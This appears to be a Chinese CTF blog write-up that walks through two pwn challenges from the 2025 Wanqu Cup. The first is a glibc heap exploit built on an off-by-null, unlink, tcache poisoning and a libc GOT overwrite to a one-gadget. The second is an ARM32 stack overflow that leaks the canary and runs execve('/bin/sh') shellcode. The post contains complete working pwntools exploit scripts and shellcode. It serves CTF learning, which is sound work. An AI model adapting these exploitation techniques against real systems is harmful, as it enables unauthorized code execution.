2025湾区杯部分pwn复现

boom

checksec

1
2
3
4
5
6
7
8
9
yyyffff@yyyffff-virtual-machine:~/Desktop/all/boom$ checksec boom
[*] '/home/yyyffff/Desktop/all/boom/boom'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled

IDA

开局是一个猜数字的小游戏,输入

1
2
3
0
1
1

即可进入 heap 界面

heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
void __noreturn sub_19AF()
{
int v0[2]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
v0[1] = 1;
while ( 1 )
{
while ( 1 )
{
menu();
v0[0] = 0;
__isoc99_scanf("%d", v0);
while ( getchar() != 10 )
;
if ( v0[0] != 666 ) //输入666即可获得一次edit的机会
break;
edit();
}
if ( v0[0] > 666 )
{
LABEL_15:
print1("Invalid choice, please try again.");
}
else if ( v0[0] == 3 )
{
show();
}
else
{
if ( v0[0] > 3 )
goto LABEL_15;
if ( v0[0] == 1 )
{
add();
}
else
{
if ( v0[0] != 2 )
goto LABEL_15;
delete();
}
}
}
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
unsigned __int64 sub_1446()
{
int v0; // ebx
int v2; // [rsp+Ch] [rbp-24h] BYREF
unsigned int idx; // [rsp+10h] [rbp-20h] BYREF
int v4; // [rsp+14h] [rbp-1Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
v2 = 0;
v4 = 0;
idx = -1;
print1("Index >> ");
__isoc99_scanf("%d", &idx);
if ( *((_QWORD *)&chunk_list + (int)idx) || idx >= 0xB ) //下标要求<11
{
print("Invalid index!");
}
else
{
print1("Size >> ");
__isoc99_scanf("%d", &v2);
if ( v2 > 0x10 && v2 <= 0x800 )
{
v0 = idx;
*((_QWORD *)&chunk_list + v0) = malloc(v2);
if ( *((_QWORD *)&chunk_list + (int)idx) )
{
v4 = read(0, *((void **)&chunk_list + (int)idx), v2);
*(_BYTE *)(*((_QWORD *)&chunk_list + (int)idx) + v4) = 0; //off-by-null
print1("New successfully!");
}
else
{
print("New failed!");
}
}
else
{
print("Invalid size!");
}
}
return __readfsqword(0x28u) ^ v5;
}

off-by-null

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 sub_1609()
{
unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
idx = -1;
print1("Index >> ");
__isoc99_scanf("%d", &idx);
if ( *((_QWORD *)&chunk_list + (int)idx) && idx < 0xB )
{
free(*((void **)&chunk_list + (int)idx));
*((_QWORD *)&chunk_list + (int)idx) = 0LL;
print1("Delete successfully!");
}
else
{
print("Invalid index!");
}
return __readfsqword(0x28u) ^ v2;
}

edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 sub_1812()
{
unsigned int idx; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
idx = -1;
print1("You have a chance to modify your message.");
if ( !dword_4018 )
{
print("Now you have no chance.");
_exit(1);
}
--dword_4018;//只有一次机会
print1("Index >> ");
__isoc99_scanf("%d", &idx);
if ( *((_QWORD *)&chunk_list + (int)idx) && idx < 0xB )
{
read(0, *((void **)&chunk_list + (int)idx), 0x10uLL);
print1("Edit successfully!");
}
else
{
print("Invalid index!");
}
return __readfsqword(0x28u) ^ v2;
}

只有一次的 edit 机会

分析

需要构造 overlap 但是只存在 off-by-null,并且该漏洞只出现在 add 时,所以我们需要利用 delete 后分配而保存下来的指针构造 unlink

堆利用-1

步骤:

  • 首先分配一些堆块
1
2
3
4
5
6
7
8
9
add(0,0x3f0) # 该堆块保证 C0 开始地址为 0x????000
add(1,0x418, b"A"*0x100) #1 A = P->fd
add(2,0x108) #2 barrier
add(3,0x438, "B0"*0x100) #3 B0 helper
add(4,0x438, b"C0"*0x100) #4 C0 = P , P&0xff = 0
add(5,0x108,b'4'*0x100) #5 barrier
add(6, 0x488, b"H"*0x100) #6 H0. helper for write bk->fd. vitcim chunk.
add(7,0x428, b"D"*0x100) #7 D = P->bk
add(8,0x108) # 8 barrier
  • 在利用 C0 伪造指向 A D的两个指针和 size=0x551
1
2
3
4
5
6
7
8
delete(1)
delete(4)
delete(7) #此时unsortedbin D->C0->A
delete(3) # 该堆块用来合并 4 块,也就是 C0
add(3,0x458,b'a'*(0x438)+p64(0x551)[:-2]) # 这一步分配B1,目的是为了将刚刚保存下来的fd和bk挤到地址0x????010上,并且在0x?????000上写上 size=0x551,此时就为造出了一个chunk,其size=0x551,fd->A bk->D
add(4,0x418) # 接下去都是为了清空bins
add(7,0x428)
add(1,0x418)

接下去就需要伪造 A->bk 和 D->fd

  • 伪造 A->bk
1
2
3
4
delete(1)
delete(4)
add(1,0x418,b'a'*8) # off-by-null 多写一个刚好写道bk最低字节,将其写为0x??????00,就是指向我们伪造的那个堆块的,所以之前构造 fake_chunk 地址在 0x?????000就很方便
add(4,0x418) # C1

这一个块刚好也可以用来泄露 heapbase

  • 伪造 D->fd
1
2
3
4
5
6
delete(4)
delete(7) # unsortedbin 7->4
delete(6) # 与7合并,unsortedbin 67->4并且保存下来了7,也就是D->fd
add(7,0x500-8,b'a'*0x488+p64(0x431)) # 这也是个伪造的堆块,在D的地址上,p64(0x431)伪造了size顺便off-by-null将fd写成0x?????000。此时将会从67合并的ub块中分配,4块进入largebin
add(4,0x3b0) # 清空bins,从ub分配
add(6,0x418) # 这个从largebin分配,该地址为0x?????0x20,就在overlap的堆块下方一点点,有大用
  • 最后伪造 pre_size 和 pre_inuse

通过 chunk5,来伪造并且unlink

1
2
3
delete(5)
add(5,0x108,b'a'*0x100+p64(0x550))
delete(7) # unlink!!

此时 chunk_list 和 bins 情况如下(bins中就是我们 overlap 得到的)

chunk_list

bins

  • 泄露 heapbase
1
2
3
4
5
6
# ========leak heapbase=======
show(1)
ru("Show at index 1:\n")
ru("aaaaaaaa")
heapbase=u64(r.recv(6).ljust(8,b'\x00'))-0x9e0-0x1000
print(hex(heapbase))
  • 泄露 libcbase
1
2
3
4
5
6
# =======leak libcbase========
add(7,0x18) # 原理就是将ub链表头地址推到6块指针附近,通过chunk6泄露
show(6)
ru("Show at index 6:\n")
libcbase=u64(r.recv(6).ljust(8,b'\x00'))-88-0x21ac88
avx2=libcbase+libc.sym['puts']-0x589bc+0x1f1bfd+7 # 该地址是一个puts会调用的libc的got表地址,而libc大多数got表都是可写的
  • puts 所调用的 libc 的 got 表地址

当我们调用puts的时候,会调用

这句表示跳到某个表项(GOT),但该表项并不属于可执行文件的本地符号,所以用 *ABS* 表示一个绝对表项/外部表。

进入

框起来的会 jmp 到一个地址,而该地址为 0x7ffff7c28494+7+0x1f1bfd

而该地址

是一个属于 libc 的 got 表处,由于 libc 的 got 表是可写的,我们就可以修改该地址处为 ogg,以得到 shell

  • 构造 tcache 来达到任意地址写
1
2
3
4
5
6
7
8
9
10
add(9,0x18) # 此时 9 的指针和 6 指针指向的是同一块地址,如下图
add(10,0x18)
delete(10)
delete(9) # tcache 9->10 9进入tcache但是6也指向9指向的地址,我们就可以借助6来修改next指针
addr=((heapbase+0x1000)>>12)^(avx2-0x8) # edit 6,修改为__strlen_avx2的got表地址,-8是因为要求地址对齐
edit(6,p64(addr))
add(9,0x18)
print(hex(avx2))
add(10,0x18,p64(0)+p64(libcbase+0xebc85)[:7]) # 此时分配的就是 __strlen_avx2的got表地址-8,将其修改为 ogg 即可得到shell
r.interactive()

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

context(log_level='debug',arch='amd64',os='linux')
r=process('./boom')

elf=ELF('./boom')
libc=ELF('./libc1.so.6')
sla = lambda a,b : r.sendlineafter(a,b)
sl = lambda a : r.sendline(a)
sa = lambda a,b : r.sendafter(a,b)
ru = lambda a : r.recvuntil(a)

def add(idx,size,content=b'a'):
sla("Your choice >>","1")
sla("Index >> \n",str(idx))
sla("Size >> \n",str(size))
r.send(content)

def delete(idx):
sla("Your choice >>","2")
sla("Index >> \n",str(idx))

def show(idx):
sla("Your choice >>","3")
sla("Index >> \n",str(idx))

def edit(idx,content):
sla("Your choice >>","666")
sla("Index >> \n",str(idx))
r.send(content)

sla("Enter min (0-500): ","0")
sla("Enter max (0-500): ","1")
sla("Your guess :","1")

add(0,0x3f0)
add(1,0x418, b"A"*0x100) #0 A = P->fd
add(2,0x108) #1 barrier
add(3,0x438, "B0"*0x100) #2 B0 helper
add(4,0x438, b"C0"*0x100) #3 C0 = P , P&0xff = 0
add(5,0x108,b'4'*0x100) #4 barrier
add(6, 0x488, b"H"*0x100) # H0. helper for write bk->fd. vitcim chunk.
add(7,0x428, b"D"*0x100) # 6 D = P->bk
add(8,0x108) # 7 barrier

delete(1)
delete(4)
delete(7) # unsortedbin D->C0->A
delete(3)
add(3,0x458,b'a'*(0x438)+p64(0x551)[:-2]) # B1
add(4,0x418)
add(7,0x428)
add(1,0x418)

delete(1)
delete(4)
add(1,0x418,b'a'*8)
add(4,0x418) # C1

delete(4)
delete(7)
delete(6)
add(7,0x500-8,b'a'*0x488+p64(0x431))
add(4,0x3b0)
add(6,0x418)


delete(5)
add(5,0x108,b'a'*0x100+p64(0x550))
delete(7)
# ========leak heapbase=======
show(1)
ru("Show at index 1:\n")
ru("aaaaaaaa")
heapbase=u64(r.recv(6).ljust(8,b'\x00'))-0x9e0-0x1000
print(hex(heapbase))
# =======leak libcbase========
add(7,0x18)
show(6)
ru("Show at index 6:\n")
libcbase=u64(r.recv(6).ljust(8,b'\x00'))-88-0x21ac88
avx2=libcbase+libc.sym['puts']-0x589bc+0x1f1bfd+7

add(9,0x18)
add(10,0x18)
pause()
delete(10)
delete(9)
addr=((heapbase+0x1000)>>12)^(avx2-0x8) # edit 6
edit(6,p64(addr))
add(9,0x18)
print(hex(avx2))
add(10,0x18,p64(0)+p64(libcbase+0xebc85)[:7])
r.interactive()

signal

checksec

1
2
3
4
5
6
7
yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/signal$ checksec cli
[*] '/mnt/hgfs/VMware-share/signal/cli'
Arch: arm-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

可以看到是arm架构32位程序

不过虽然开了 NX 但是栈依旧可执行

而后面有栈溢出,我们就可以做ret2shellcode

IDA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // r0
pthread_t newthread; // [sp+0h] [bp-64h] BYREF
int v6; // [sp+4h] [bp-60h] BYREF
int v7; // [sp+8h] [bp-5Ch]
int v8; // [sp+Ch] [bp-58h]
struct sockaddr addr; // [sp+10h] [bp-54h] BYREF
int s[13]; // [sp+20h] [bp-44h] BYREF

v3 = time(0);
srand(v3);
dword_1302C = socket(2, 1, 0);
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = inet_addr("127.0.0.1");
*(_WORD *)addr.sa_data = htons(0x1F40u); //此时addr就是127.0.0.1:8000,我们在运行程序的时候本机需要在8000端口有个server,否则connect失败就会退出
if ( connect(dword_1302C, &addr, 0x10u) == -1 )
{
puts("connect error!!");
exit(1);
}
puts("Successfully connected controller server.");
init();
pthread_mutex_init(&stru_13014, 0);
pthread_create(&newthread, 0, (void *(*)(void *))sub_BAC, 0); //这里创建了一个新线程,并且调用 sub_BAC
pthread_detach(newthread);
memset(s, 0, sizeof(s));
s[12] = (int)s;
while ( 1 )
{
pthread_mutex_lock(&stru_13014);
v7 = sig1;
v8 = sig2;
pthread_mutex_unlock(&stru_13014);
signal(v7, v8);
puts("------------------------------");
puts("1.car forward");
puts("2.pedestrian forward");
puts("3.backward");
puts("4.stop");
printf("target: ");
_isoc99_scanf("%d", &v6);
getchar();
puts("------------------------------");
switch ( v6 )
{
case 1:
sub_DF0((int)s);
break;
case 2:
sub_101C();
break;
case 3:
sub_1218();
break;
case 4:
sub_1678();
default:
puts("Invalid operation, please reselect.");
break;
}
}
}

sub_BAC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void __noreturn sub_BAC()
{
char buf[12]; // [sp+Ch] [bp-30h] BYREF
int v1[5]; // [sp+18h] [bp-24h] BYREF

while ( 1 )
{
strcpy(buf, "signal\n");
buf[8] = 0;
buf[9] = 0;
send(dword_1302C, buf, 0xAu, 0); //会在刚刚监听8000的终端输出signal\n,并且从中输入两个数作为sig1和sig2,也就是控制红绿灯的变量,效果如下
memset(v1, 0, sizeof(v1));
if ( recv(dword_1302C, v1, 0x14u, 0) > 0 )
{
pthread_mutex_lock(&stru_13014);
_isoc99_sscanf(v1, "%d %d", &sig1, &sig2);
pthread_mutex_unlock(&stru_13014);
}
sleep(1u);
}
}

sub_DF0(选项1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __fastcall sub_DF0(int a1)
{
int v2; // r0
int v3; // r3
int v5; // [sp+Ch] [bp-58h]
char v6[4]; // [sp+14h] [bp-50h] BYREF
char s[60]; // [sp+18h] [bp-4Ch] BYREF

*(_DWORD *)v6 = 0;
memset(s, 0, sizeof(s));
pthread_mutex_lock(&stru_13014);
v5 = sig1;
pthread_mutex_unlock(&stru_13014);
if ( v5 == 2 )
return printf("\x1B[0;32mThe current traffic light is green, and vehicles can pass through\n\x1B[0m");
if ( v5 != 3 )//要使v5=3,也就是要使sig1为3,通过我们前面的另一个线程里的函数来控制
return printf("\x1B[0;31mThe current red light prevents the vehicle from moving forward\n\x1B[0m");
v2 = rand();
v3 = v2 & 1;
if ( v2 < 0 )
v3 = -v3;
if ( v3 )//v3随机数概率进入闯红灯
{
puts("You are about to run a red light, the surveillance system will take photos to record it!");
read(0, (void *)(a1 + 1), 0x34u);
sprintf(v6, "%s", (const char *)(a1 + 1));//可以用来泄露数据,分别泄露stack地址和canary
return printf("your record msg: %s\n", v6);
}
else
{
printf("\x1B[1;33mCurrently yellow light, car waiting \n\x1B[0m");
while ( 1 )
{
pthread_mutex_lock(&stru_13014);
if ( sig1 == 2 )
break;
pthread_mutex_unlock(&stru_13014);
sleep(1u);
puts("waiting 1s...");
}
pthread_mutex_unlock(&stru_13014);
return sub_DF0(a1);
}
}

sub_101C(选项2)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
ssize_t sub_101C()
{
ssize_t result; // r0
_WORD nbytes[3]; // [sp+6h] [bp-46h] BYREF
char buf[48]; // [sp+Ch] [bp-40h] BYREF

nbytes[0] = 12320;
pthread_mutex_lock(&stru_13014);
*(_DWORD *)&nbytes[1] = sig2;
result = pthread_mutex_unlock(&stru_13014);
if ( *(_DWORD *)&nbytes[1] == 4 )//这里需要控制sig2=5才可进入第二个if
return printf("\x1B[0;32mThe current pedestrian light is green, and pedestrians can pass through\n\x1B[0m");
if ( *(_DWORD *)&nbytes[1] == 5 )
{
printf("\x1B[0;32mThe current pedestrian light is red, pedestrians need to wait for a while\n\x1B[0m");//这句之后借用控制的函数令sig2=4,sig=1以过那个while
while ( 1 )
{
pthread_mutex_lock(&stru_13014);
if ( sig2 == 4 && sig1 == 1 )
break;
pthread_mutex_unlock(&stru_13014);
sleep(1u);
puts("waiting 1s...");
}
pthread_mutex_unlock(&stru_13014);
sub_101C();
printf("How long do you need to walk: ");
_isoc99_scanf("%d", nbytes);
result = getchar();
if ( HIBYTE(nbytes[0]) >= (unsigned int)LOBYTE(nbytes[0]) )
{
puts("registration information:");
return read(0, buf, LOBYTE(nbytes[0]));//这里nbyte0是可以控制的,我们就可以利用这个做ret2shellcode
}
}
return result;
}

选项3和选项4都是没啥用的,不放伪代码了

分析

  • 一些准备工作,需要开启监听 8000 端口后运行程序
1
2
3
4
5
6
7
from pwn import *
context(arch='arm',log_level='debug')
PORT = 8000
server = listen(PORT)
#r = process(['qemu-arm', '-L', './','-g','6666', './cli'])
r = process(['qemu-arm', '-L', './', './cli'])
s=server.wait_for_connection()

s 就是接收 signal 那个线程的,我们可以通过 s 来更改红绿灯信号

  • 首先要控制 sig1=3,这里控制 sig1=3,sig2=5,然后需要确定偏移来泄露栈地址和 canary ,利用gdb-mutiarch 来调试程序

从 0089 开始输入,偏移分别为 0x2f 和0x33

所以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
s.recvuntil("signal\n")
s.sendline("3 5")
r.recvuntil("target: ")
r.sendline("1")
r.recvuntil("You are about to run a red light, the surveillance system will take photos to record it!\n")
r.sendline(b'a'*0x2f)
r.recvuntil(b'a'*0x2f)
stack=u32(r.recv(4))-0xa
s.recvuntil("signal\n")
s.sendline("3 5")
r.recvuntil("target: ")
r.sendline("1")
r.recvuntil("You are about to run a red light, the surveillance system will take photos to record it!\n")
r.sendline(b'a'*0x33)
r.recvuntil(b'a'*0x33)
canary=u32(r.recv(4))-0xa
print(hex(canary))
  • 进入选项2,填充上 canary 和 stack 地址,栈溢出 ret2shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
r.recvuntil("target: ")
r.sendline("2")
r.recvuntil(" a while\n\x1B[0m")
s.recvuntil("signal\n")
s.sendline("1 4")
r.recvuntil("How long do you need to walk: ")
r.sendline(str(0xffffffff))
shellcode = asm(
"""
eor r1, r1 # 清空第二个参数
eor r2, r2 # 清空第三个参数
mov r7, #11 # 给r7 exceve的系统调用号
mov r0, pc # 给 r0 pc,由于最后会写入/bin/sh,pc指向/bin/sh地址,使r0也就是第一个参数指向 /bin/sh (这里虽然pc为当前指令地址,但是mov r0,pc却会使r0为pc地址+8,刚好指向了/bin/sh。据说这是指向下一条指令地址)
svc 0 # 触发软中断,执行系统调用
.ascii "/bin/sh\\0" # 写入/bin/sh字符串
""")
r.recvuntil("registration information:\n")
payload=shellcode
payload=payload.ljust(0x30,b'a')+p32(canary)*4+p32(stack-0xc)+p32(stack-0xc) # 一定要填充两个 stack addr,最后一个是控制返回地址的
r.sendline(payload)
print(hex(stack))
r.interactive()

效果如下

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(arch='arm',log_level='debug')
PORT = 8000
server = listen(PORT)
r = process(['qemu-arm', '-L', './','-g','6666', './cli'])
#r = process(['qemu-arm', '-L', './', './cli'])
s=server.wait_for_connection()
s.recvuntil("signal\n")
s.sendline("3 5")
r.recvuntil("target: ")
r.sendline("1")
r.recvuntil("You are about to run a red light, the surveillance system will take photos to record it!\n")
r.sendline(b'a'*0x2f)
r.recvuntil(b'a'*0x2f)
stack=u32(r.recv(4))-0xa
s.recvuntil("signal\n")
s.sendline("3 5")
r.recvuntil("target: ")
r.sendline("1")
r.recvuntil("You are about to run a red light, the surveillance system will take photos to record it!\n")
r.sendline(b'a'*0x33)
r.recvuntil(b'a'*0x33)
canary=u32(r.recv(4))-0xa
print(hex(canary))
r.recvuntil("target: ")
r.sendline("2")
r.recvuntil(" a while\n\x1B[0m")
s.recvuntil("signal\n")
s.sendline("1 4")
r.recvuntil("How long do you need to walk: ")
r.sendline(str(0xffffffff))
shellcode = asm(
"""
mov r0, pc
eor r1, r1
eor r2, r2
mov r7, #11
svc 0
.ascii "/bin/sh\\0"
""")
r.recvuntil("registration information:\n")
payload=shellcode
payload=payload.ljust(0x30,b'a')+p32(canary)*4+p32(stack-0xc)+p32(stack-0xc)
r.sendline(payload)
print(hex(stack))
r.interactive()

有个随机数的存在,所以有时候会不通,多运行几次就可以了


2025湾区杯部分pwn复现
http://yyyffff.github.io/2025/09/17/2025湾区杯部分pwn复现/
作者
yyyffff
发布于
2025年9月17日
许可协议